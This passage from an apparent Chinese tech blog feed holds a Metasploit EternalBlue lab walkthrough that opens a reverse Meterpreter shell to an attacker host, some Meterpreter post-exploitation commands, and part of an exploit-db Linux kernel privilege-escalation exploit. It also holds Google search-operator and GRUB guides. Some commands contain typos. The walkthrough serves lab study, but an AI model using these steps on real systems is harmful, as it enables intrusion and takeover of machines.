class=""><blockquote><p>显然扫出来了 <strong>192.168.111.128</strong></p></blockquote><h4 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/scanner/portscan/tcp</span><br></pre></td></tr></table></figure><p>查看参数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show options</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201223826916.png" class=""><p>设置必须参数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set rhosts 192.168.111.128</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set threads 100</span><br></pre></td></tr></table></figure><p>开始扫描端口</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run</span><br></pre></td></tr></table></figure><p>如果,靶机防火墙已关闭,不出意外如下</p><img src="/posts/d19d23f5/image-20221201224228133.png" class="" title="image-20221201224228133"><blockquote><p>发现<strong>靶机</strong>打开了 <strong>445</strong> 端口</p></blockquote><h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><p>搜索 永恒之蓝 模块</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">search ms17_010</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201224652224.png" class=""><p>测试是否存在 <strong>永恒之蓝</strong> 漏洞  <em><strong>搜索结果的第 四 个模块</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/scanner/smb/smb_ms17_010</span><br></pre></td></tr></table></figure><p>设置目标 <strong>IP</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set rhosts 192.168.111.1278</span><br></pre></td></tr></table></figure><p>设置线程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set threads 100</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201225142008.png" class=""><blockquote><p>Host is likely VULNERABLE to MS17-010!  &#x2F;&#x2F;主机似乎存在 MS17-010(永恒之蓝)漏洞</p></blockquote><p>漏洞利用  <em><strong>搜索结果的第 1 个模块</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use exploit/windows/smb/ms17_010_./eternalblue</span><br></pre></td></tr></table></figure><p>设置目标(靶机&#x2F;windows 7)主机 IP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set rhost 192.168.111.128</span><br></pre></td></tr></table></figure><p>设置攻击(Kali)监听 <strong>payload</strong> (msf载荷:中的有效负载指的是漏洞利用模块。)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set payload windows/x64/meterpreter/reverse_tcp</span><br></pre></td></tr></table></figure><p>设置Kali监听 iP  <em><strong>ifconfig 命令查看</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set lhosts 192.168.111.130</span><br></pre></td></tr></table></figure><p>设置Kali(攻击机)监听端口 <em><strong>7777 即前文打开的 端口号</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set lport 7777</span><br></pre></td></tr></table></figure><p>最后,开启攻击 <em><strong>其实是利用smb协议漏洞,获取权限</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201231329766.png" class="" title="image-20221201231329766"><p><strong>成功!</strong></p><img src="/posts/d19d23f5/image-20221201231608385.png" class=""><blockquote><p>meterpreter 命令行通道已连接 cmd 命令行</p></blockquote><p>那么什么是 <strong>meterpreter</strong> 呢?</p><h3 id="Meterpreter"><a href="#Meterpreter" class="headerlink" title="Meterpreter"></a>Meterpreter</h3><blockquote><p>Meterpreter 是一种先进的、动态可扩展的有效负载，它使用<em>内存中的</em>DLL 注入载荷，并在运行时通过网络进行扩展。它通过 stager 套接字进行通信，并提供全面的客户端 Ruby API。它具有命令历史记录、选项卡完成、频道等功能。</p><p>Metepreter 最初是由 skape 为 Metasploit 2.x 编写的，常见的扩展被合并到 3.x，目前正在为 Metasploit 3.3 进行大修。服务器部分是用纯 C 实现的，现在用 MSVC 编译，使其具有一定的可移植性。客户端可以用任何语言编写，但 Metasploit 具有功能齐全的 Ruby 客户端 API。</p></blockquote><h4 id="隐身"><a href="#隐身" class="headerlink" title="隐身"></a>隐身</h4><ul><li>Meterpreter 完全驻留在内存中，不向磁盘写入任何内容。</li><li>没有创建新进程，因为 Meterpreter 将自身注入到受感染的进程中，并且可以轻松迁移到其他正在运行的进程。</li><li>默认情况下，Meterpreter 使用加密通信。</li><li>所有这些都提供了有限的取证证据和对受害机器的影响。</li></ul><h4 id="强大的"><a href="#强大的" class="headerlink" title="强大的"></a>强大的</h4><ul><li>Meterpreter 使用信道化通信系统。</li><li>TLV 协议几乎没有限制。</li></ul><h4 id="可扩展"><a href="#可扩展" class="headerlink" title="可扩展"></a>可扩展</h4><ul><li>功能可以在运行时扩充并通过网络加载。</li><li>无需重建即可将新功能添加到 Meterpreter。</li></ul><p>常用命令</p><ul><li>help：查看帮助信息。</li><li>background：允许用户在后台Meterpreter会话。</li><li>download：允许用户从入侵主机上下载文件。</li><li>upload：允许用户上传文件到入侵主机。</li><li>execute：允许用户在入侵主机上执行命令。</li><li>shell：允许用户在入侵主机上（仅是Windows主机）运行Windows shell命令。</li><li>session -i：允许用户切换会话。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Google搜索</title>
    <link href="https://wyy.hair/posts/48777106/"/>
    <id>https://wyy.hair/posts/48777106/</id>
    <published>2022-11-30T11:52:51.000Z</published>
    <updated>2025-12-30T04:54:17.869Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id=""><a href="#" class="headerlink" title="+"></a>+</h2><p>同AND，搜索包含多个关键词的结果</p><p>搜索 + 引擎</p><p>搜索包含【搜索】和【引擎】两个词的页面</p><h2 id="OR"><a href="#OR" class="headerlink" title="OR"></a>OR</h2><p>或者</p><p>搜索 OR 引擎</p><p>搜索包含【搜索】或【引擎】两个词的页面</p><h2 id="-1"><a href="#-1" class="headerlink" title="-"></a>-</h2><p>减号，不包含减号后面词的页面</p><p>搜索引擎 -百度</p><p>搜索不包括【百度】的【搜索引擎】的页面</p><h2 id="“”"><a href="#“”" class="headerlink" title="“”"></a>“”</h2><p>双引号，精确匹配</p><p>“搜索引擎”</p><p>精确匹配【搜索引擎】这个关键词的页面</p><h2 id="-2"><a href="#-2" class="headerlink" title="*"></a>*</h2><p>星号，通配符，模糊搜索，星号代替某个字</p><p>搜 * 引擎</p><p>星号可以为任何字</p><h2 id="-3"><a href="#-3" class="headerlink" title="@"></a>@</h2><p>在用于搜索社交媒体的字词前加上@</p><p>trump @twitter</p><p>搜索trump的twitter</p><h2 id="-4"><a href="#-4" class="headerlink" title="$"></a>$</h2><p>在数字前加上$搜索特定价格</p><p>camera $400</p><p>搜索400$的camera</p><h2 id="井"><a href="#井" class="headerlink" title="井"></a>井</h2><p>搜索 # 标签</p><p>#throwbackthursday</p><p>搜索标签throwbackthursday</p><h2 id="-5"><a href="#-5" class="headerlink" title=".."></a>..</h2><p>两个点，在两个数字之间加上.. 在数字范围内执行搜索</p><p>camera 500..500..1000</p><p>搜索500−1000−1000的camera</p><h2 id="filetype"><a href="#filetype" class="headerlink" title="filetype"></a>filetype</h2><p>搜索某一种文件类型的资源</p><p>C++ filetype:pdf</p><p>搜索类型为pdf的C++网页资源</p><h2 id="site"><a href="#site" class="headerlink" title="site"></a>site</h2><p>在指定站点搜索</p><p>C++ site:<a href="https://www.zhihu.com/">https://www.zhihu.com</a></p><p>在知乎中搜索和C++相关的网页</p><h2 id="catche"><a href="#catche" class="headerlink" title="catche"></a>catche</h2><p>查看网站的 Google 缓存版本，会直接显示缓存页面</p><p>cache:weibo.com</p><p>查看微博的谷歌快照</p><h2 id="info"><a href="#info" class="headerlink" title="info"></a>info</h2><p>在网址前加info:，获取网站详情</p><p>info:github.com</p><p>搜索github网站详情</p><h2 id="related"><a href="#related" class="headerlink" title="related"></a>related</h2><p>搜索与某个网站有关联的页面</p><p>related:sina.com</p><p>和新浪网网站结构内容相似的一些其它网站</p><h2 id="link"><a href="#link" class="headerlink" title="link"></a>link</h2><p>返回所有链接到某个URL地址的网页</p><p>link:<a href="http://www.csdn.net/">www.csdn.net</a></p><p>搜索所有含指向【<a href="http://www.csdn.net】链接的网页/">www.csdn.net】链接的网页</a></p><h2 id="inurl"><a href="#inurl" class="headerlink" title="inurl"></a>inurl</h2><p>搜索查询词出现在url 中的页面</p><p>inurl:搜索引擎</p><p>搜索链接url中有【搜索引擎】的网页</p><h2 id="intitle"><a href="#intitle" class="headerlink" title="intitle"></a>intitle</h2><p>搜索查询词出现在页面标题(title)中的页面，支持中文和英文</p><p>intitle:搜索引擎</p><p>搜索页面标题中有【搜索引擎】的网页</p><h2 id="intext"><a href="#intext" class="headerlink" title="intext"></a>intext</h2><p>搜索查询词出现在页面正文(title)中的页面，支持中文和英文</p><p>SEO intext:搜索引擎</p><p>在正文包含【搜索引擎】的网页中搜索【SEO】</p><h2 id="inanchor"><a href="#inanchor" class="headerlink" title="inanchor"></a>inanchor</h2><p>搜索链接锚文字(即链接显示的文字)中包含搜索词的页面</p><p>inanchor:前端</p><p>搜索链接锚文字中包含【前端】的页面</p><h2 id="allinurl"><a href="#allinurl" class="headerlink" title="allinurl"></a>allinurl</h2><p>即all+inurl 页面url中包含多个关键词的页面</p><p>allinurl:SEO 搜索引擎优化</p><p>相当于 ：inurl:SEO inurl:搜索引擎优化</p><h2 id="allintitle"><a href="#allintitle" class="headerlink" title="allintitle"></a>allintitle</h2><p>即all+intitle 页面标题中包含多个关键词的页面</p><p>allintitle:SEO 搜索引擎优化</p><p>相当于：intitle:SEO intitle:搜索引擎优化</p><h2 id="allintext"><a href="#allintext" class="headerlink" title="allintext"></a>allintext</h2><p>即all+inanchor 页面正文包含多个关键词的页面</p><p>allintext:SEO 搜索引擎优化</p><p>相当于：intext:SEO intext:搜索引擎优化</p><h2 id="allinanchor"><a href="#allinanchor" class="headerlink" title="allinanchor"></a>allinanchor</h2><p>即all+inanchor 页面链接锚文字包含多个关键词的页面</p><p>allinanchor:SEO 搜索引擎优化</p><p>相当于：inanchor:SEO inanchor:搜索引擎优化</p><h2 id="weather"><a href="#weather" class="headerlink" title="weather"></a>weather</h2><p>weather&#x2F;time&#x2F;sunrise&#x2F;sundown+城市名，返回城市的天气&#x2F;时间&#x2F;日出时间&#x2F;日落时间</p><p>weather:beijing</p><p>显示北京的天气</p><h2 id="music"><a href="#music" class="headerlink" title="music"></a>music</h2><p>或者用songs，歌手名字+music&#x2F;songs</p><p>周杰伦 music</p><p>返回周杰伦的各首歌曲</p><h2 id="逻辑与-或：AND、OR"><a href="#逻辑与-或：AND、OR" class="headerlink" title="逻辑与&#x2F;或：AND、OR"></a>逻辑与&#x2F;或：AND、OR</h2><ul><li><p>注意AND、OR必须大写，否则会被认为是普通的单词，而不是搜索指令。  </p></li><li><p>与普通编程语言不一样的是，OR指令优先于AND指令。  </p></li><li><p>简写：AND指令一般以空格代替，不明确写出。另外AND指令还可以用+代替。OR指令可用|代替。  </p></li><li><p>样例：Inverted OR Signature files OR file OR index，它等同于 (Inverted OR Signature) (files OR file OR index)</p></li></ul><h2 id="逻辑非："><a href="#逻辑非：" class="headerlink" title="逻辑非：-"></a>逻辑非：-</h2><ul><li>样例：搜索引擎 历史 -文化 -中国历史 -世界历史</li></ul><h2 id="完整匹配：”…”"><a href="#完整匹配：”…”" class="headerlink" title="完整匹配：”…”"></a>完整匹配：”…”</h2><ul><li>样例：”world war I” 表示搜索一次世界大战。</li></ul><h2 id="通配符："><a href="#通配符：" class="headerlink" title="通配符：*?"></a>通配符：*?</h2><ul><li><p>与我们通常的习惯一致，“*”代表一连串字符，“?”代表单个字符。  </p></li><li><p>样例：progr?m  </p></li><li><p>提示：不要指望Google可用通过progr?m搜索到program，因为progr和m分别被当作一个独立的单词，并且这两个单词之间允许出现一个字符，如此而已。</p></li></ul><h2 id="site-在某个网站或域名下搜索"><a href="#site-在某个网站或域名下搜索" class="headerlink" title="site: 在某个网站或域名下搜索"></a>site: 在某个网站或域名下搜索</h2><ul><li><p>样例：搜索引擎 技巧 site:edu.cn  </p></li><li><p>这表示要在中文教育科研网站（edu.cn）上关于搜索引擎技巧的页面。</p></li></ul><h2 id="filetype-搜索某种类型的文件"><a href="#filetype-搜索某种类型的文件" class="headerlink" title="filetype: 搜索某种类型的文件"></a>filetype: 搜索某种类型的文件</h2><ul><li><p>样例：filetype:pdf  </p></li><li><p>这表示只搜索pdf文件。</p></li></ul><h2 id="in指令-位置关键词查找。"><a href="#in指令-位置关键词查找。" class="headerlink" title="in指令: 位置关键词查找。"></a>in指令: 位置关键词查找。</h2><ul><li><p>intitle: 在网页标题中查找。这通常对讨论比较多的热门话题很有效。例如：intitle:”GeForce 7800”+测试  </p></li><li><p>allintitle: 该指令属于排他指令，不能与其他指令混用。  </p><ul><li><p>例如：allintitile:”GeForce 7800” 测试 与 intitle:”GeForce 7800”+测试 的含义一致。但是，allintitile是排他的，不能加上其他非intitle方面的限制条件。  </p></li><li><p>注意：在这里，你会发现用+代替AND指令是很有意思的。如果没有+指令，我们就需要写：intitle:”GeForce 7800” intitle:测试，因为Google不支持这样的写法：intitle:(“GeForce 7800” 测试)</p></li></ul></li><li><p>inurl: 在网页的url地址中查找。例如：inurl:dowload 表示查找url中包含download的网页。  </p></li><li><p>allinurl: inurl的排他指令。  </p></li><li><p>inanchor: 在网页的链接锚中查找。  </p><ul><li><p>需要注意区别于inurl：inurl是网页本身的url地址，而inanchor是在外部用于指向该url地址的文本（<a>…</a>之间文本）中找。  </p></li><li><p>例如：inanchor:download，你可能会发现有<a href="http://www.amazesoft.com/">FlashGet最佳的下载管理程式</a>，而该页面中根本就没有download字样。</p></li></ul></li><li><p>allinanchor: inanchor的排他指令。  </p></li><li><p>intext: 在正文中检索。  </p></li><li><p>allintext: intext的排他指令。</p></li></ul><h2 id="link-搜索所有链接到某个URL地址的网页"><a href="#link-搜索所有链接到某个URL地址的网页" class="headerlink" title="link: 搜索所有链接到某个URL地址的网页"></a>link: 搜索所有链接到某个URL地址的网页</h2><ul><li><p>最重要的用途：迅速判断一个网页的“热度”。  </p></li><li><p>例如：link:<a href="http://www.newhua.com/">www.newhua.com</a> 表示所有指向“华军软件园”外部链接。  </p></li><li><p>注意：和其他指令类似，link:和url之间不能有空格。之所以特别指出这一点，是因为网上有教程说link和allinurl等一样，是排他指令，中间可以有空格。我不太了解Google搜索指令的发展历史，只能猜测曾经如此。</p></li></ul><h2 id="related-寻找某网页的“类似网页”。"><a href="#related-寻找某网页的“类似网页”。" class="headerlink" title="related: 寻找某网页的“类似网页”。"></a>related: 寻找某网页的“类似网页”。</h2><ul><li><p>例如：related:baidu.com 表示找和“百度”类似的网页。  </p></li><li><p>这条指令其实Google自己用得很广泛，只是可能没有引起你的注意罢了。在Google的每条搜索结果中，均有一个“类似网页”的链接。就是它了。</p></li></ul><h2 id="数值范围："><a href="#数值范围：" class="headerlink" title="数值范围： .."></a>数值范围： ..</h2><ul><li><p>例如：数码相机 600..900 万像素 3000..4000 元  </p></li><li><p>注意：“900”与“万”之间必须有空格。</p></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Study" scheme="https://wyy.hair/tags/Study/"/>
    
  </entry>
  
  <entry>
    <title>grub命令</title>
    <link href="https://wyy.hair/posts/cbeb243c/"/>
    <id>https://wyy.hair/posts/cbeb243c/</id>
    <published>2022-11-30T11:52:51.000Z</published>
    <updated>2025-12-30T04:54:17.890Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="官方文档-Google翻译"><a href="#官方文档-Google翻译" class="headerlink" title="官方文档 + Google翻译"></a><a href="https://www.gnu.org/software/grub/manual/grub/html_node/Command_002dline-and-menu-entry-commands.html#Command_002dline-and-menu-entry-commands">官方文档</a> + Google翻译</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">• [:                       检查文件类型并比较值</span><br><span class="line">• acpi:                       加载 ACPI 表</span><br><span class="line">• authenticate:               检查用户是否在用户列表中</span><br><span class="line">• background_color:          设置活动终端活动颜色</span><br><span class="line">• background_image:           为活动终端加载背景图像</span><br><span class="line">• badram:                   过滤 RAM 的坏色域</span><br><span class="line">• blocklist:               打印阻止列表</span><br><span class="line">• boot:                       启动你的操作系统</span><br><span class="line">• cat:                       展示一个文件内容</span><br><span class="line">• chainloader:               C链式加载另一个引导加载程序</span><br><span class="line">• clear:                   清除屏幕</span><br><span class="line">• cmosclean:               清除CMOS</span><br><span class="line">• cmosdump:                   转储CMOS内容</span><br><span class="line">• cmostest:                 测试CMOS</span><br><span class="line">• cmp:                       比较两个文件</span><br><span class="line">• configfile:               加载配置文件</span><br><span class="line">• cpuid:                   检测CUP特性</span><br><span class="line">• crc:                       计算或检查CRC32校验和</span><br><span class="line">• cryptomount:               安装加密设备</span><br><span class="line">• cutmem:                   删除内存区域</span><br><span class="line">• date:                       显示当前时间</span><br><span class="line">• devicetree:               加载设备文件目录</span><br><span class="line">• distrust:                   从可信密钥中删除公钥</span><br><span class="line">• drivemap:                   将一个驱动器映射到另一个</span><br><span class="line">• echo:                       显示一行文字</span><br><span class="line">• eval:                       将Evaluate agruments 作为 GRUB 命令</span><br><span class="line">• export:                   导出环境变量</span><br><span class="line">• false:                   什么都不做,不成功</span><br><span class="line">• gettext:                   翻译一个字符串</span><br><span class="line">• gptsync:                   根据 GPT 条目填充 MBR</span><br><span class="line">• halt:                       关闭计算机</span><br><span class="line">• hashsum:                   计算或检查散列检验和</span><br><span class="line">• help:                       显示帮助信息</span><br><span class="line">• initrd:                   加载 Linux initrd</span><br><span class="line">• initrd16:                   加载 Linux initrd (16-bit mode)</span><br><span class="line">• insmod:                   插入模块</span><br><span class="line">• keystatus:               检查修饰符状态</span><br><span class="line">• linux:                   加载Linux内核</span><br><span class="line">• linux16:                   加载Linux内核(16位)</span><br><span class="line">• list_env:                   列出环境模块中的变量</span><br><span class="line">• list_trusted:               列出受信任的公钥</span><br><span class="line">• load_env:                   从环境块中加载变量</span><br><span class="line">• loadfont:                   加载字体文件</span><br><span class="line">• loopback:                   从文件系统映像制作设备</span><br><span class="line">• ls:                       列出设备或文件</span><br><span class="line">• lsfonts:                   列出加载的字体</span><br><span class="line">• lsmod:                   显示加载的模块</span><br><span class="line">• md5sum:                   为多重引导内核加载模块</span><br><span class="line">• multiboot:               加载多重引导兼容内核</span><br><span class="line">• nativedisk:               切换到本机磁盘驱动程序</span><br><span class="line">• normal:                   进入正常模式</span><br><span class="line">• normal_exit:               退出正常模式</span><br><span class="line">• parttool:                   修改分区表项</span><br><span class="line">• password:                   设置明文密码</span><br><span class="line">• password_pbkdf2:           设置哈希密码</span><br><span class="line">• play:                       开始运行</span><br><span class="line">• probe:                   从特定于模型的寄存器中读取值</span><br><span class="line">• read:                       读取用户输入</span><br><span class="line">• reboot:                   重新启动计算机</span><br><span class="line">• regexp:                   测试正则表达式是否匹配字符串</span><br><span class="line">• rmmod:                   删除模块</span><br><span class="line">• save_env:                   将变量保存到环境模块</span><br><span class="line">• search:                   按文件、标签或 UUID 搜索设备</span><br><span class="line">• sendkey:                   模拟击键</span><br><span class="line">• set:                       设置环境变量</span><br><span class="line">• sha1sum:                   计算或检查 SHA1 哈希</span><br><span class="line">• sha256sum:             计算或检查 SHA256 哈希</span><br><span class="line">• sha512sum:               计算或检查 SHA512 哈希</span><br><span class="line">• sleep:                   等待指定的秒数</span><br><span class="line">• smbios:                        检索 SMBIOS 信息</span><br><span class="line">• source:                   在同一上下文中读取配置文件</span><br><span class="line">• test:                       检查文件类型并比较值</span><br><span class="line">• true:                       什么都不做，成功</span><br><span class="line">• trust:                   将公钥添加到可信密钥列表</span><br><span class="line">• unset:                   取消设置环境变量</span><br><span class="line">• verify_detached:           验证分离的数字签名</span><br><span class="line">• videoinfo:               列出可用的视频模式</span><br><span class="line">• wrmsr:                   将值写入特定于模型的寄存器</span><br><span class="line">• xen_hypervisor:           加载 xen 管理程序二进制文件（仅在 AArch64 上）</span><br><span class="line">• xen_module:               为 xen hypervisor 加载 xen 模块（仅在 AArch64 上）</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Study" scheme="https://wyy.hair/tags/Study/"/>
    
  </entry>
  
  <entry>
    <title>记录Linux内核升级</title>
    <link href="https://wyy.hair/posts/38afcbbc/"/>
    <id>https://wyy.hair/posts/38afcbbc/</id>
    <published>2022-11-30T11:52:51.000Z</published>
    <updated>2025-12-30T04:54:17.901Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="事件结局"><a href="#事件结局" class="headerlink" title="事件结局"></a>事件结局</h3><blockquote><p>阿里云服务器<strong>系统</strong> Centos 7被迫重装</p></blockquote><h3 id="对我影响"><a href="#对我影响" class="headerlink" title="对我影响"></a>对我影响</h3><blockquote><p>意味着网站数据从<strong>1</strong>-&gt;<strong>0</strong> ,域名为<em><strong>htwyy.cn</strong></em> (hexo),<a href="http://www.htwyy.cn(wordpress),***lim.htwyy.cn/">www.htwyy.cn(wordpress),***lim.htwyy.cn</a>*** (library),<em><strong>api.htwyy.cn</strong></em> (api) 数据全没</p></blockquote><h3 id="事件起因"><a href="#事件起因" class="headerlink" title="事件起因"></a>事件起因</h3><p>要从这个网站说起<a href="https://www.exploit-db.com/">Exploit Database</a> ,<em><strong>kali</strong></em> 的可利用漏洞模块数据库<br>![Pasted image 20221129105755.png](&#x2F;img&#x2F;Pasted image 20221129105755.png)<br>如图所示 <em><strong>Linux</strong></em> 内核为4.13.9 发行版为 Ubuntu 16.04 &#x2F; Fedora27 存在本地权限提升漏洞</p><p>![Pasted image 20221129110241.png](&#x2F;img&#x2F;Pasted image 20221129110241.png)<br>即普通用户到<em><strong>root</strong></em> 用户权限(至高权限)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;errno.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdarg.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/bpf.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/un.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/personality.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">.</span><br><span class="line">.</span><br><span class="line">.</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * scan forward for expected sk_rcvtimeo value.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * struct sock &#123;</span></span><br><span class="line"><span class="comment"> *    [...]</span></span><br><span class="line"><span class="comment"> *    const struct cred      *sk_peer_cred; </span></span><br><span class="line"><span class="comment"> *    long                    sk_rcvtimeo;             